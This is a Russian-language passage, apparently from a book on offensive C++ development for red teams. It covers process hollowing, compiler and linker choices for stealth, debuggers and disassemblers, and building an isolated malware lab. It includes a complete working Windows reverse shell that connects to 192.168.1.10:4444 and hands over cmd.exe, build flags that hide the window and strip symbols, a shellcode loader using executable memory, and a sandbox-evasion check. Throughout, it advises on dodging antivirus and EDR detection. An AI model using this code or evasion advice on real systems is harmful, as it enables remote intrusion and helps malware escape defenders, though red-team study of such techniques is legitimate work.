Возьмем, к примеру, процессное "вытравливание" (process hollowing). Если вы хотите запустить легитимный процесс в приостановленном состоянии, размонтировать его память и заменить своей полезной нагрузкой, вы имеете дело с цепочкой низкоуровневых функций Windows, таких как NtUnmapViewOfSection, VirtualAllocEx, WriteProcessMemory и SetThreadContext. Выполнение этого на C++ позволяет вам написать скрытный, надежный дроппер с минимальными накладными расходами. Вы можете обернуть каждый системный вызов обработкой ошибок, логированием и обфускацией - и сделать все это в одном самодостаточном бинарном файле.

При работе с эмуляцией угроз или симуляцией действий злоумышленников ваша задача может включать точное воспроизведение известного поведения атакующих. Если конкретная APT использует отражающее внедрение DLL или угон контекста потока, от вас ожидается точное воспроизведение. C++ - единственный язык, который позволяет вам полностью соответствовать сложности и скрытности этих техник. Вы можете даже симулировать обход песочницы, проверяя артефакты виртуальной машины или задерживая выполнение на основе инструкций процессора или системных счетчиков - и все это из одной функции C++.

Вы можете подумать, что на первый взгляд использование скриптовых языков поможет вам двигаться быстрее. И в некоторых задачах ранней разведки это так. Но когда ваша полезная нагрузка должна выжить в контролируемой среде, выполнять операции с памятью, скрываться в другом процессе и избегать поведенческого обнаружения, эти языки перестают быть полезными. C++ - это то, где происходит настоящая работа. Он дает вам контроль над памятью, потоками, потоком выполнения и системными вызовами. Он позволяет вам создавать полезные нагрузки, которые являются модульными, зашифрованными и трудными для реверс-инжиниринга. Он дает вам скорость без абстракции, скрытность без компромиссов и структуру без лишнего веса. Вот когда вы используете C++ - когда инструмент, который вы создаете, должен работать как вредоносное ПО, а не просто выглядеть как proof of concept. Когда каждая написанная вами строка кода имеет последствия в памяти. Когда система наблюдает за вами, а вам все равно нужно победить.


Глава 2 - Настройка среды разработки C++ для атакующих​


Прежде чем приступить к написанию загрузчиков вредоносного ПО на C++, пользовательских имплантов или инжекторов шеллкода, вам нужно правильно настроить свою среду. Разработка для атакующих на C++ отличается от повседневного программирования - ваша цель не просто заставить вещи работать. Ваша цель - заставить вещи работать тихо, скрытно и на целевых системах без обнаружения. Это означает, что вы не просто пишете код, вы пишете его как злоумышленник - и тестируете в среде, максимально имитирующей реальные цели. Эта глава проведет вас через все, что вам нужно для настройки надежной и безопасной среды разработки для наступательной работы на C++. Вы узнаете, какие инструментарии лучше всего подходят в зависимости от целевой ОС, как выбрать правильные компиляторы и отладчики, как настроить Visual Studio или MinGW для компиляции чистого и компактного бинарного кода, чего ожидать от инструментов статического и динамического анализа, и как построить лабораторию для вредоносного ПО, которая позволит вам безопасно тестировать опасный код.

2.1 Выбор правильного инструментария (Windows, Linux)​


Если вы пишете на C++ для наступательных операций, выбранный вами инструментарий напрямую влияет на то, как ведет себя ваш код, насколько он обнаружим и будет ли он вообще правильно работать на вашей цели. Вы не просто компилируете программное обеспечение - вы создаете бинарные файлы, имитирующие реальное поведение вредоносного ПО. Поэтому инструментарий - это не мелкая деталь настройки. Это основа того, как вы создаете, тестируете и развертываете вредоносную функциональность, сохраняя при этом скрытность, производительность и надежность.

Начнем с вопроса: какую платформу вы выбираете в качестве цели - Windows или Linux? Это определяет API, которые вы будете вызывать, бинарный формат, который вы будете производить, и поведение, которое ваш код должен будет воспроизвести. Хотя большая часть современного редейтинга сосредоточена на полезных нагрузках для Windows, растет интерес к нацеливанию на серверы Linux и контейнеризированную инфраструктуру. В любом случае, вам придется выбрать правильную комбинацию компилятора, компоновщика и инструментов сборки, которые поддерживают ваши цели.

Если ваш фокус нацелен на Windows - а в наступательной безопасности это часто так - ваш инструментарий должен быть способен создавать нативные PE-бинарные файлы, которые могут использовать весь спектр Windows API. Это включает вызовы, такие как CreateRemoteThread, VirtualAllocEx, и даже недокументированные системные вызовы, такие как NtOpenProcess, когда вы стремитесь к скрытности. Отраслевым стандартом здесь является Microsoft Visual Studio с компилятором MSVC. Он тесно интегрирован с Windows SDK, предоставляет доступ ко всем заголовкам и библиотекам, необходимым для взаимодействия с внутренними компонентами Windows, и поддерживает расширенные параметры компилятора, такие как статическая компоновка и оптимизации на уровне компилятора. С помощью MSVC вы можете компилировать вредоносное ПО, которое по структуре и сигнатуре выглядит точно так же, как корпоративное программное обеспечение. Вы можете контролировать все, от флагов подсистемы до выравнивания секций, что дает вам точность в том, как ваша полезная нагрузка интерпретируется системой и инструментами безопасности.

Однако Visual Studio не всегда является лучшим вариантом, когда вы создаете небольшие, сильно обфусцированные загрузчики или отражающие DLL. В таких случаях MinGW-w64 предлагает большую гибкость и обычно производит меньшие бинарные файлы с меньшим количеством зависимостей. Вы можете кросс-компилировать из Linux, использовать ld и objcopy для ручного манипулирования заголовками и полностью удалять отладочные символы с помощью strip. Этот инструментарий также, как правило, более снисходителен, когда вы хотите обойти стандартное поведение компоновки или полностью избежать инициализации CRT - что полезно при создании кода, безопасного для шеллкода. Он поддерживает прямую компоновку с функциями WinAPI и не добавляет дополнительных зависимостей, таких как среда выполнения Visual C++, если вы сами этого не попросите.

На стороне Linux все немного более предсказуемо. Большинство полезных нагрузок компилируются с использованием g++ или clang++, а целевым бинарным форматом всегда является ELF. Вы можете свободно использовать стандартные системные вызовы через unistd.h, sys/mman.h или прямые вызовы syscall(). Инструментарий Linux минимален и прозрачен, что облегчает написание кода proof-of-concept, взаимодействующего с памятью, файловыми дескрипторами, сетевыми сокетами или даже модулями ядра.

Но здесь важен контекст. Если вы пишете имплант для Linux, который должен сохранять персистентность или взаимодействовать с init-скриптами, ротацией логов или демонами SSH, вам будет полезно собрать его с тем же инструментарием, который используют системные службы. Это часто означает компиляцию с помощью gcc и компоновку с glibc. Если вы пытаетесь создать крошечный дроппер, который выполняется из памяти и не оставляет следов, вы можете предпочесть компиляцию с musl для статической компоновки или даже сборку необработанного позиционно-независимого шеллкода с использованием nasm и его компоновку с пользовательским загрузчиком, написанным на C++.

Во многих операциях красной команды вы столкнетесь со сценарием, когда вы разрабатываете и тестируете свои полезные нагрузки на одной платформе, а развертываете их на другой. Именно здесь кросс-компиляция становится критически важной. С помощью таких инструментов, как mingw-w64, установленных в системе Linux, вы можете компилировать исполняемые файлы Windows PE, даже не загружаясь в Windows. Это позволяет интегрировать наступательные инструменты в конвейеры CI, среды автоматизированного тестирования или платформы инфраструктуры как кода - без необходимости использовать Windows-машину. Вы можете использовать простой Makefile для генерации DLL, EXE и бинарных файлов, готовых для шеллкода, прямо из Linux.

В качестве рабочего примера приведем минимальную полезную нагрузку обратного шелла, написанную на C++ и скомпилированную с помощью MinGW для Windows:

#include <winsock2.h>
#include <windows.h>
#pragma comment(lib, "ws2_32")int main() {
WSADATA wsaData;
SOCKET sock;
sockaddr_in target;
WSAStartup(MAKEWORD(2, 2), &wsaData);
sock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,
nullptr, 0, 0);
target.sin_family = AF_INET;
target.sin_port = htons(4444);
target.sin_addr.s_addr = inet_addr("192.168.1.10");
connect(sock, (sockaddr*)&target, sizeof(target));
STARTUPINFOA si = { sizeof(si) };
PROCESS_INFORMATION pi;
si.dwFlags = STARTF_USESTDHANDLES;si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)sock;
CreateProcessA(nullptr, (LPSTR)"cmd.exe", nullptr, nullptr,
TRUE, 0, nullptr, nullptr, &si, &pi);
return 0;
}


Скомпилируйте это с помощью:

x86_64-w64-mingw32-g++ reverse.cpp -o reverse.exe -lws2_32 -mwindows -s


Флаг -mwindows предотвращает появление консольного окна, а -s удаляет символы. Это создает нативный файл Windows PE, который подключается к вашему слушателю, привязывает cmd.exe к сокету и предоставляет вам доступ к командной оболочке. Он легкий, не имеет зависимостей от среды выполнения и легко обфусцируется.
Именно такая гибкость делает ваш инструментарий важным. Когда вы создаете полезные нагрузки для обхода обнаружения, каждый заголовок раздела, каждый импорт и каждый байт отладочной информации - это потенциальный сигнал. Ваш компилятор, компоновщик и настройки сборки определяют, насколько обнаруживаемым или невидимым будет ваш исполняемый файл.
Поэтому выбор инструментария должен основываться на ваших операционных потребностях. Если вы пишете скрытный загрузчик для машины Windows с защитой от антивируса, используйте MinGW или Clang с удаленными символами и статической компоновкой. Если вы пишете полнофункциональный имплант, который должен сохраняться после перезагрузок и обмениваться данными по HTTPS, вам может пригодиться Visual Studio и его надежные библиотеки. Если вы проводите наступательные исследования на Linux-целях, то GCC и syscall() предоставят вам все необходимое.
Чем увереннее вы будете переключаться между этими инструментариями, тем более способными вы станете в реальных операциях красной команды. Цель не просто написать работающий код - цель написать код, который ведет себя как вредоносное ПО и выживает в среде, предназначенной для его остановки.

2.2 Компиляторы, отладчики и дизассемблеры​


Если вы серьезно относитесь к наступательной разработке на C++, ваш рабочий процесс не заканчивается написанием кода. Он простирается от компиляции, тестирования, анализа до понимания того, как ведут себя ваши исполняемые файлы - как по отношению к операционной системе, так и к инструментам безопасности. Компилятор, который вы используете, определяет, как собирается ваш исполняемый файл. Отладчик помогает отслеживать поведение во время выполнения. Дизассемблер показывает, что увидят защитники - и реверс-инженеры - когда ваша полезная нагрузка будет поймана. Поэтому выбор и использование правильных инструментов здесь не являются опцией. Это основа для написания наступательного кода, который действительно работает в полевых условиях и выдерживает проверку.
Начнем с компиляторов. В C++ компилятор не просто преобразует ваш код в машинные инструкции. Он также отвечает за управление символами, компоновку с системными библиотеками, внедрение компонентов среды выполнения и генерацию метаданных. Все это может повлиять на то, насколько обнаруживаемым будет ваш исполняемый файл.
Если вы компилируете полезную нагрузку для Windows и хотите, чтобы она была максимально скрытной, неправильные флаги компиляции могут оставить имена функций, отладочные символы или неиспользуемые разделы, которые немедленно настороятят реверс-инженера или статический сканер.
В Windows наиболее распространенным компилятором является cl.exe от Microsoft, входящий в инструментарий Visual Studio. Он обеспечивает полную интеграцию с API Windows, позволяет статически компоновать CRT (C Runtime) и предлагает тонкий контроль над настройками компоновщика. Но он имеет тенденцию включать больше метаданных по умолчанию, если вы специально не удалите их. Вам часто захочется отключить /GS (защита стека), выключить /DEBUG и использовать статическую компоновку с /MT вместо /MD, чтобы избежать внешних зависимостей. Если вы создаете дроппер или загрузчик в памяти, используйте /ENTRY:mainCRTStartup и избегайте стандартной точки входа, чтобы уменьшить шум.
MinGW-w64, с другой стороны, является компилятором на основе GCC для Windows. Он обычно создает меньшие исполняемые файлы, дает более предсказуемый вывод и не заставляет вас использовать среду выполнения Visual C++, если вы явно не вызываете ее. Это делает его полезным для разработки вредоносного ПО, особенно когда размер и минимальный след критичны. Вы можете комбинировать -Os для оптимизации размера, -s для удаления символов и прямую компоновку с библиотеками WinAPI, такими как -lkernel32 или -luser32, чтобы упростить процесс.
Clang предлагает дополнительный уровень гибкости, особенно для кроссплатформенных сборок. Его диагностика чище, и он поддерживает промежуточные представления (IR), которые могут быть изменены для обфускации или трансформации кода. Некоторые специалисты по красным командам используют Clang для генерации LLVM IR и применения пользовательских проходов для обфускации перед преобразованием в конечный исполняемый файл. Такой рабочий процесс добавляет сложности, но также дает способ обойти движки обнаружения на основе сигнатур, которые ищут распространенные шаблоны инструкций.

После компиляции вашего исполняемого файла вам нужен способ пошагово проходить через него во время выполнения. Здесь на помощь приходит хороший отладчик. Если вы работаете в Windows, x64dbg - один из самых мощных инструментов, которые вы можете использовать. Он поддерживает точки останова, просмотр памяти, трассировку инструкций и расширения плагинов. Вы можете загрузить свой исполняемый файл, наблюдать, как он распаковывается в памяти, и переходить к внедренным потокам. Если ваш загрузчик аварийно завершает работу, или если вы внедряете шеллкод, и он молча терпит неудачу, x64dbg позволит вам отслеживать выделение памяти в куче, создание потоков и запись в память в реальном времени.
Для более продвинутой работы на уровне ядра вы можете обратиться к WinDbg, который является частью Windows SDK. Он предназначен для более глубокого анализа, особенно для отладки драйверов или кода кольца 0. Если вы экспериментируете с персистентностью на основе драйверов или разработкой руткитов, именно здесь вы, вероятно, проведете время.
В Linux стандартным отладчиком является gdb. Он не броский, но мощный и скриптовый. Вы можете устанавливать точки останова, отслеживать переменные, трассировать вызовы функций и анализировать сбои. Если вы создаете импланты на основе ELF или пишете код загрузчика, который использует mmap, fork или execve, gdb поможет вам пошагово пройти через точное поведение вашего кода на хосте Linux. Объедините его с такими инструментами, как strace или ltrace, и вы получите полную картину поведения системных вызовов и трассировок вызовов библиотек.
Но отладка - это только половина дела. После компиляции вашего кода вам также нужно увидеть, как он выглядит для того, кто пытается его анализировать статически. Здесь в игру вступают дизассемблеры. И если вы занимаетесь наступательной разработкой, вы должны использовать дизассемблер для проверки своих собственных полезных нагрузок раньше, чем кто-либо другой. Потому что если вы этого не сделаете, кто-то другой сделает.
IDA Pro долгое время была отраслевым стандартом, хотя бесплатная версия более ограничена. Она предоставляет полную дизассемблерную версию вашего исполняемого файла, реконструирует графы функций и даже пытается восстановить псевдокод в стиле C. Если ваша полезная нагрузка все еще содержит строки вроде "CreateRemoteThread" или "cmd.exe", IDA их найдет. Как и любой аналитик синей команды.
Ghidra - сильная бесплатная альтернатива от NSA, предлагающая аналогичные IDA функции, включая декомпилированные представления, перекрестные ссылки, идентификацию функций и патчинг. Он полезен не только для анализа вредоносного ПО, но и для проверки вашего собственного исполняемого файла, чтобы увидеть, насколько очевидны имена ваших функций, поток управления и строки.
Вы можете открыть скомпилированный исполняемый файл в Ghidra и посмотреть, что отображается в списке функций. Если вы видите четкие имена функций, неиспользуемые импорты или подозрительные разделы с именами .text, .rdata или .data, которые выделяются, - все это артефакты, которые могут быть использованы для пометки вашего исполняемого файла. Это особенно важно, если вы создаете загрузчик или имплант, который должен обходить как статическую, так и эвристическую аналитику. Ghidra покажет вам именно то, что видит реверс-инженер, когда открывает ваш инструмент.

Чтобы получить быстрый обзор того, какие функции импортирует ваш исполняемый файл, вы также можете использовать PEStudio или Detect It Easy (DIE). Эти инструменты покажут вам уровни энтропии исполняемого файла, импортируемые функции и заголовки разделов - все это полезно для быстрой проверки того, насколько "похожим на вредоносное ПО" выглядит ваша полезная нагрузка перед отправкой.
Вот практический пример: скажем, вы пишете рефлексивную DLL, которая загружает шеллкод в память и выполняет его. Вы компилируете ее с помощью MinGW, удаляете символы и используете PEStudio для проверки того, что она импортирует только VirtualAlloc, memcpy и CreateThread. Вы запускаете ее в x64dbg, чтобы убедиться, что шеллкод выполняется без сбоев. Затем вы загружаете ее в Ghidra, чтобы подтвердить, что имена функций обфусцированы, а поток управления сглажен. Этот рабочий процесс - от компиляции до тестирования в реальном времени и статического анализа - это то, чем наступательные разработчики занимаются ежедневно.
Цель не просто создать работающий код. Цель - создать код, который выживает - в памяти, под анализом и против современных средств защиты. Каждый флаг компилятора, каждый импорт функции и каждая строка имеют значение. И эти инструменты - ваш компилятор, ваш отладчик, ваш дизассемблер - это то, как вы гарантируете, что ваша полезная нагрузка не только запустится, но и запустится незамеченной.

2.3 Работа с Visual Studio, MinGW и Clang​


Выбор компилятора - это не просто техническое решение; он формирует поведение вашего конечного исполняемого файла, его размер, к чему он подключается и насколько хорошо он сливается с легитимной системной активностью. В области наступательной безопасности этот выбор имеет реальный вес. Вы не создаете приложения для пользователей. Вы создаете исполняемые файлы, которые должны жить в процессе незамеченными, напрямую взаимодействовать с системными API и часто выдерживать проверку как человеком, так и машиной.
Начнем с Visual Studio. Если ваша цель - создавать инструменты, которые ведут себя точно так же, как нативные приложения Windows, это ваш лучший выбор. Компилятор Microsoft, cl.exe, является частью среды Visual Studio и бесшовно интегрируется с Windows SDK. Это означает, что ваш код может напрямую использовать нативные API без беспокойства о совместимости. Вы можете вызывать такие функции, как VirtualAlloc, GetProcAddress и CreateThread, без дополнительной настройки - заголовки и библиотеки уже встроены в инструментарий.

Когда вы используете Visual Studio для компиляции наступательного инструмента, первое, что вам нужно сделать, - это переключиться из режима Debug в режим Release. Сборки Debug добавляют заполнение, метаданные и информацию о символах, которые почти мгновенно будут обнаружены статическим анализом. Сборки Release удаляют все это и позволяют точно настроить вывод. В свойствах проекта установите библиотеку времени выполнения на /MT вместо /MD. Это говорит компилятору статически компоновать C Runtime вместо использования внешних DLL, таких как msvcrt.dll. Это уменьшает зависимости и помогает вашему исполняемому файлу выживать на большем количестве систем - особенно в защищенных средах, где дополнительные среды выполнения не установлены.
Вы можете пойти дальше, переопределив точку входа. По умолчанию Visual Studio добавляет свой собственный mainCRTStartup, который инициализирует среду выполнения перед вызовом вашей функции main. Но вам это не всегда нужно. Если вы хотите контролировать выполнение с первой инструкции, используйте флаг /ENTRY:main и определите свою собственную пользовательскую точку входа. Это дает вам полный контроль над настройкой стека и поведением выполнения. Когда вы создаете загрузчики, исполнители шеллкода или рефлексивные DLL, такой уровень контроля критичен.
Вот быстрый пример пользовательской точки входа в Visual Studio:

#include <windows.h>
int mainCRTStartup() {
MessageBoxA(nullptr, "Payload Executed", "Black Hat C++",
MB_OK);
ExitProcess(0);
}


Вы можете скомпилировать это с помощью /ENTRY:mainCRTStartup, чтобы полностью пропустить инициализацию CRT. Это чистый, быстрый способ начать выполнение - особенно полезно, когда вы встраиваете шеллкод или пытаетесь уменьшить шум.
Теперь давайте рассмотрим MinGW-w64, инструментарий на основе GCC для Windows.
В отличие от Visual Studio, MinGW по умолчанию не включает столько зависимостей и не компонуется с C Runtime Windows. Это делает его отличным выбором для создания небольших, автономных исполняемых файлов. Если вы пишете что-то, что должно сливаться с нативными исполняемыми файлами, но не нести лишнего багажа, MinGW вам хорошо послужит.
Настоящая мощь MinGW проявляется, когда вы комбинируете его с Linux. Вы можете установить mingw-w64 на Kali или Ubuntu и компилировать исполняемые файлы Windows непосредственно из терминала. Это отлично подходит для инфраструктуры красной команды, где вы не хотите использовать Windows только для создания инструментов. Это также полезно при автоматизации генерации полезных нагрузок, поскольку вы можете интегрировать MinGW в скрипты оболочки, Makefiles или даже конвейеры CI.
Вот небольшой загрузчик, написанный на C++:

#include <windows.h>
int main() {
unsigned char* payload = (unsigned char*)VirtualAlloc(nullptr,
4096, MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (!payload) return 1;
// Simulate shellcode by writing a return instruction (RET)
payload[0] = 0xC3;
((void(*)())payload)();
return 0;
}


Вы можете скомпилировать это в Linux с помощью:

x86_64-w64-mingw32-g++ -o loader.exe loader.cpp -mwindows -static -s


Флаг -mwindows предотвращает появление окна консоли, -static компонует все в один файл, а -s удаляет отладочные символы. В итоге вы получаете самодостаточный исполняемый файл без зависимостей от среды выполнения - идеальный для операций красной команды.
Clang - еще один компилятор, который окажется полезным, особенно если вы работаете кроссплатформенно или заботитесь о точности вывода. Он генерирует чистый ассемблер, поддерживает подробную диагностику и может выдавать LLVM IR для дальнейшего анализа или трансформации. Этот IR может быть использован для обфускации потока управления, вставки мусорных инструкций или добавления логики шифрования перед преобразованием обратно в конечный исполняемый файл.
Допустим, вы хотите проанализировать, как выглядит ваш исполнитель шеллкода на уровне инструкций. Clang может скомпилировать ваш код и выдать промежуточное представление или даже чистый ассемблер. Затем вы можете изучить, как структурирован пролог функции, как передаются аргументы и как выделяется пространство стека - все это имеет отношение к обнаружению.
Вот пример компиляции в LLVM IR:

clang++ -S -emit-llvm payload.cpp -o payload.ll


Затем вы можете манипулировать payload.ll с помощью проходов LLVM перед компиляцией обратно в машинный код. Это продвинутый рабочий процесс, но он дает вам возможность мутировать ваш исполняемый файл способами, которые обычные компиляторы не позволяют.
Независимо от того, используете ли вы Visual Studio, MinGW или Clang, главное - понять, что делает ваш компилятор: что он компонует, какие разделы создает, как настраивает выполнение и какие артефакты оставляет после себя.
Вы не просто пишете код. Вы формируете исполняемый файл, который должен обходить антивирусы, сливаться с окружающей средой и выживать при ручной проверке. Ваш компилятор - это не просто инструмент, это часть вашей стратегии уклонения.

2.4 Инструменты статического и динамического анализа для C++​


Когда вы создаете наступательные инструменты на C++, вы пишете код не только для функциональности - вы пишете код, который должен избегать обнаружения, сопротивляться реверс-инжинирингу и вести себя не так, как он есть на самом деле. Чтобы делать это эффективно, вам нужно анализировать свои исполняемые файлы так же, как это делают защитники.
Именно здесь в игру вступают инструменты статического и динамического анализа. Эти инструменты позволяют увидеть, как ваши полезные нагрузки выглядят для антивирусного программного обеспечения, систем защиты конечных точек и реверс-инженеров - еще до того, как вы запустите их в дикой природе.

Статический анализ - это процесс изучения исполняемого файла без его выполнения. Вы смотрите на файл на диске, изучаете его структуру и понимаете, какие подсказки он выдает просто своим существованием. Это включает анализ импортируемых функций, строк, заголовков разделов, энтропии и метаданных времени компиляции. Если ваш скомпилированный исполняемый файл вызывает CreateRemoteThread, выделяет исполняемую память или включает читаемые строки, такие как "cmd.exe", это будет обнаружено. Инструменты, такие как PE-bear, Detect It Easy (DIE) и CFF Explorer, позволяют быстро и безопасно изучать эти детали.
Например, если вы скомпилируете базовую обратную оболочку на C++ и изучите ее в PE-bear, вы можете увидеть импорты из ws2_32.dll, такие как connect, socket или WSAStartup. Это сетевые API, которые немедленно привлекают внимание. Если ваш исполняемый файл включает читаемые строки для IP-адреса или порта, это еще один сигнал. С помощью такого инструмента, как DIE, вы также можете проверить энтропию каждого раздела. Раздел с очень высокой энтропией обычно указывает на шифрование или упаковку - что может вызвать подозрение у эвристических сканеров.
Вот кое-что, что стоит попробовать: соберите полезную нагрузку с помощью MinGW, удалите символы с помощью strip, а затем откройте файл в PE-bear. Вы все равно увидите импорты, если вы не разрешили их динамически во время выполнения. Это означает, что вам придется пойти дальше в своем коде - использовать GetProcAddress и LoadLibrary вместо статической компоновки. Таким образом, импорты не появятся в таблице импорта (IAT) исполняемого файла. Статический анализ не сможет определить, какие API вы используете, и ваш исполняемый файл станет сложнее пометить сигнатурой.

Теперь динамический анализ выводит все на новый уровень. Здесь вы запускаете исполняемый файл в контролируемой среде и наблюдаете, что он на самом деле делает. Вы ищете изменения файлов, изменения реестра, запущенные процессы, выделение памяти и сетевую активность. Цель - понять, как ваш инструмент ведет себя под наблюдением, особенно в средах с работающими продуктами безопасности.
В Windows незаменимы такие инструменты, как Procmon, Process Hacker, Wireshark и API Monitor. Procmon предоставляет вам представление в реальном времени о файловой системе и активности реестра. Вы можете фильтровать записи в ключи Run (персистентность), создание временных файлов или доступ к конфиденциальным путям. Если ваша полезная нагрузка записывает файл в AppData или изменяет настройки брандмауэра, Procmon это обнаружит. Process Hacker показывает запущенные процессы, дескрипторы и потоки. Если вы внедряете шеллкод в другой процесс, вы захотите увидеть, создает ли целевой процесс новые потоки, сколько памяти выделяется и запрашиваются ли подозрительные права доступа.
Допустим, вы тестируете загрузчик, который выделяет память с помощью VirtualAlloc, записывает в нее шеллкод и создает поток для его выполнения. Запустите этот загрузчик в виртуальной машине с открытыми Procmon и Process Hacker. Следите за вызовами CreateFile или WriteFile - если это не файловый метод, это будет обнаружено. Ищите RegSetValue, если он пытается обеспечить персистентность. Проверяйте выделение памяти и создание потоков в Process Hacker, чтобы убедиться, что вы не утекаете дескрипторы или не создаете видимую активность.
API Monitor можно использовать для перехвата пользовательских API и отслеживания того, какие именно функции вызываются. Он предоставляет большую детализацию, чем Process Hacker. Например, если ваша полезная нагрузка вызывает OpenProcess, WriteProcessMemory или CreateRemoteThread, API Monitor обнаружит параметры и покажет вам, какие идентификаторы процессов были целью и какие адреса памяти были задействованы.
Если вы работаете в Linux, у вас есть другие инструменты, но тот же подход.
strace показывает вам каждый системный вызов, который делает ваш исполняемый файл. Если вы видите open, write, connect или mmap, вы знаете, что ваш исполняемый файл взаимодействует с системой способами, которые могут вызвать обнаружение. lsof позволяет проверить, какие файлы и сокеты открываются. tcpdump или Wireshark можно использовать для мониторинга исходящего трафика, особенно если вы тестируете маяк или C2-имплант, который общается по HTTP, HTTPS или пользовательскому бинарному протоколу.
Среды песочниц, такие как CAPEv2 или Cuckoo, также полезны, когда вам нужен автоматизированный поведенческий анализ. Эти системы выполняют вашу полезную нагрузку внутри контролируемой виртуальной машины и генерируют полный отчет. Вы получите сводки по затронутым файлам, записанным ключам реестра, измененным разделам памяти и исходящему трафику. Это дает вам полную картину того, как ваша полезная нагрузка ведет себя под наблюдением. И это помогает вам разрабатывать лучшие методы уклонения.
Например, если ваш имплант запускается в песочнице и обнаруживается в течение 10 секунд, вероятно, это потому, что он выполнился слишком быстро и выполнил слишком много подозрительных действий за один раз. Вы можете изменить свой код C++, чтобы добавить задержки, проверить артефакты анализа, такие как известные имена пользователей, низкий объем ОЗУ или наличие инструментов анализа. Если эти условия истинны, вы можете выйти раньше и избежать полного сканирования вашей полезной нагрузки.
Вот очень простой пример проверки антианализа на C++:

#include <windows.h>
bool IsSandbox() {
MEMORYSTATUSEX memInfo = { sizeof(memInfo) };
GlobalMemoryStatusEx(&memInfo);
return memInfo.ullTotalPhys < (2ULL * 1024 * 1024 * 1024); // Less
than 2GB
}
int main() {
if (IsSandbox()) {
ExitProcess(0);
}
// Main payload logic
}


Это молчаливо завершится, если в системе менее 2 ГБ ОЗУ - распространенный признак изолированных сред, используемых аналитиками вредоносного ПО.
Сочетание статического и динамического анализа - вот как вы действительно поймете профиль вашего полезного груза. Статические инструменты показывают, что можно обнаружить на диске.
Динамические инструменты показывают, что можно обнаружить во время выполнения. Если вы используете оба в своем рабочем процессе, вы обнаружите проблемы раньше защитников.

2.5 Создание безопасной и изолированной лаборатории для вредоносного ПО​


Если вы создаете инструменты для атак, вы будете писать код, который антивирусные программы ненавидят, системы обнаружения конечных точек помечают, а операционные системы пытаются сдерживать. Это означает, что тестирование такого кода на основной машине безрассудно. Одна ошибка - один неверный двойной щелчок - и вы можете заразить себя, сжечь свою сеть или вызвать оповещения, которые приведут к полной блокировке безопасности. Вот почему создание безопасной, полностью изолированной лаборатории для вредоносного ПО не просто рекомендуется. Это обязательно.
Вам нужно пространство, где вы можете писать, компилировать, выполнять и наблюдать за поведением, подобным вредоносному ПО, не рискуя своей основной системой и не передавая сигналы в Интернет. Цель состоит в том, чтобы изолировать все - файлы, выполнение, сеть - и дать себе полный контроль для анализа того, как ваш полезный груз ведет себя в контролируемой среде.
Начните с виртуализации. Используйте такие инструменты, как VirtualBox, VMware Workstation или Hyper-V. Они позволяют запускать гостевые операционные системы, полностью отделенные от вашей основной машины. Внутри этих ВМ вы можете имитировать реальные цели: Windows 10 Pro, Windows Server 2019 или даже урезанные дистрибутивы Linux для тестирования бокового перемещения или повышения привилегий. При настройке ВМ выделите не менее 2-4 ГБ ОЗУ и минимум 40 ГБ дискового пространства. Обязательно отключите функции интеграции, такие как общие папки, синхронизация буфера обмена и перетаскивание. Эти функции могут быть удобны для общего использования, но они создают прямые пути между гостевой и хост-системой - чего вы абсолютно хотите избежать при запуске недоверенного кода.
Далее, контролируйте сеть. Ваша лаборатория вредоносного ПО никогда не должна иметь неограниченный доступ в Интернет. Установите режим сети ВМ в "Только хост" (Host-only) или "Внутренняя сеть" (Internal Network). Это сохраняет гостевую систему изолированной, позволяя ей при этом общаться с другими ВМ на том же виртуальном коммутаторе. Если вам нужен исходящий трафик для симуляции C2 или разрешения DNS, направляйте его через прокси-сервер, VPN или локальный DNS-sinkhole, который вы можете отслеживать и регистрировать. Никогда не подключайте вашу ВМ с вредоносным ПО напрямую к вашему реальному маршрутизатору или производственной сети.
Теперь поговорим об инструментах. Внутри вашей лаборатории вам нужна полная видимость поведения процессов, изменений файлов, доступа к реестру и сетевых подключений.
На ВМ Windows установите такие инструменты, как Process Hacker, Procmon, Wireshark и PEStudio. Эти инструменты позволяют вам инспектировать каждый аспект поведения вашего бинарного файла - от системных вызовов до внедрения процессов и неожиданного запуска дочерних процессов. Если ваш загрузчик создает скрытый поток внутри explorer.exe, вы увидите это. Если он изменяет ключ Run в реестре для обеспечения постоянства, вы обнаружите это в реальном времени.
На ВМ Linux используйте strace, lsof, tcpdump и gdb. Они позволяют отслеживать системные вызовы, открытые файлы, перехватывать сетевую активность и отлаживать бинарные файлы на лету.
Если ваш C++ имплант использует mmap для выделения исполняемой памяти или запускает обратный шелл, эти инструменты помогут вам увидеть точное поведение на системном уровне.
Снимки - ваш лучший друг. Сделайте один перед установкой инструментов, другой перед запуском полезного груза и третий после установки вашего бинарного файла. Если что-то сломается или ваша система зависнет во вредоносном состоянии, мгновенно вернитесь к чистому снимку. Это делает вашу лабораторию одноразовой - именно то, что вам нужно при запуске недоверенного кода.
Вот небольшой, но важный совет: всегда копируйте бинарные файлы в ВМ, используя ISO-образы или виртуальные диски, а не сетевые ресурсы или пути хоста. Экспортируйте скомпилированный полезный груз в файл ISO, смонтируйте его в вашей ВМ и извлеките его внутри. Это полностью изолирует ваш хост, и если что-то пойдет не так, ничего не выльется обратно.
Чтобы имитировать реальные цели, создайте несколько ВМ. Одна машина Windows 10 с установленными Office и Adobe Reader. Одна ВМ Windows Server, выступающая в роли файлового сервера или контроллера домена. Одна ВМ Linux, запускающая SSH, cron-задачи и основные службы. Затем соедините их статическими IP-адресами. Эта настройка позволяет вам практиковать боковое перемещение, обеспечение постоянства и пост-эксплуатацию в реалистичной внутренней сети.
Если вы планируете тестировать постоянство или поведение при перезагрузке, убедитесь, что ваша ВМ позволяет откатить состояние до чистого после выключения. Некоторые полезные грузы устанавливают записи автозапуска, которые срабатывают при загрузке, что означает, что они могут выполняться бесшумно при перезапуске машины. Чистый снимок гарантирует, что вы никогда не будете удивлены полезным грузом, который активируется без предупреждения.
Теперь для более точного мониторинга вы можете использовать фреймворки песочниц, такие как CAPEv2 или Cuckoo Sandbox. Они предоставляют вам автоматизированный анализ бинарных файлов с полным логированием поведения, дампами памяти и перехватом сети. Настройте их на отдельной машине или в отдельной ВМ и направьте на них ваш вредоносный код. Вы получите подробные отчеты, показывающие, что именно сделал ваш полезный груз - какие файлы он затронул, какие сетевые соединения установил и с какими частями системы взаимодействовал.
